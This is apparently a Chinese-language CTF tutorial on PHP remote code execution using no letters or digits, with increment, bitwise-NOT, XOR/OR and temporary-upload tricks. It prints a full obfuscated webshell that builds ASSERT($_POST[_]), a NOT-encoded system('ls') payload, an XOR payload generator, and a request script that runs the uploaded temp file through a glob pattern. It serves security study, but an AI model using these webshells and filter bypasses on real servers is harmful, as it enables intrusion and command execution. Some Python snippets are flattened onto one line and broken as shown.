目录
自增
取反
异或
或
临时文件上传
自增
自 PHP 8.3.0 起,此功能已软弃用
在 PHP 中,可以递增非数字字符串。该字符串必须是字母数字 ASCII 字符串。当到达字母
Z
且递增到下个字母时,将进位到左侧值。例如,$a = 'Z'; $a++;
将 $a 变为'AA'
。
意思就是当$a=a时,$a++ == b
这里构造payload还需要一个知识点
下划线这个可以当作变量名例如:$_ $__这样
php有一个特性当强制调用数组和字符串时,数组会被强制转换为字符串Array
例如:
设置$_为数组 $_=[] 在调用他$_=@"$_"
在这段代码中,
$_=[];
创建了一个空数组,并将其赋值给变量$_
。然后,$_=@"$_";
使用字符串拼接的方式将变量$_
转换为字符串,并将结果重新赋值给变量$_
。而这样就导致@"$_"强制使数组变成了字符串,这样就让@"$_"强制转换为了Array
所以$_==Array $_[0]==A
这里做的是无字母数字的rce所以0也不能用,使用"@"=="~"代替(@不等于~,所以返回false,而false等于0)
$_["@"=="~"]==A
webshell: (######php大小写不敏感)
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
取反
这里用ctfshow的web入门141题来讲
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
~在php中是取反符号
例如:
~0 = -1
也可以用在字符串上
~a = ?
通过这个原理可以做出无数字字母的rce
shell:
<?phpecho urlencode(~'system');
echo ' ';
echo urlencode(~'\'ls\'');
payload:
v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8)-
异或 和 或
原理:
异或
在php里,两个值进行异或,会先转变成ASCII在转变成2进制
异或^:数字相同为1不同为0(1^1=1,1^0=0),利用这个特性来构造字符串
0&0=0;1&1=0;0&1=1;1&0=1
例如:'a'^'$'=E
或
按位或运算|:参与运算的两个数转化为二进制后,全为1则取1,如果是1和0这种还是取1
例如:101|100=101 101|101=101 100|100=100
此脚本的大致原理就是将EASCII(延伸美国标准信息交换码,是将ASCII码由7位扩充为8位而成)编码拿去异或,首先过一遍正则,把不需要的去掉,再把所有异或出来的信息保存到文本里,再通过python来筛选
或运算也是同理
##这里还是使用到羽师傅的脚本
<?php/*author yu22x*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
抛出文件后使用python构造paylaod
from sys import *def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)fun="system"
cmd="ls"
print("function:"+action(fun))
print("cmd:"+action(cmd))
临时文件上传
通过上传文件然后用符号.调用执行文件
第一个知识点:
通过post上传文件,此时php会在linux里的零时文件夹保存文件,且文件一定是php加上六个随机的字符 /tmp/php??????
这个应php保存的临时文件会有一个特性,就是这6个随机的字符会出现大写的情况
例如:
普通文件/tmp/adcabcabc
php保存的临时文件/tmp/phpAvxAsa
第二个知识点:
现在直到了文件上传的位置以及特性那么现在要怎么利用它
- shell下支持使用. 来执行文件
- linux支持glob通配符代替文件名
例如我们需要利用到/tmp/phpFsGFKd这个文件,他和其他文件的区别就是php保存的临时文件会有大写字母的出现,而glob支持利用
[0-9]
来表示一个范围,这就很好的解决了问题,可以使用[@-[]这两个字符之间真好是全部大写字母,放在最后正好可以用来匹配文件名最后出现了大写字母的文件
payload:.%20/???/????????[@-[]
import requestsurl = r'http://xxx.xxx/1.php?shell=?><?=. /???/????????[@-[]?>'
file = {'file': 'cat flag.php'
}response = requests.post(url, files=file)
print(response.text)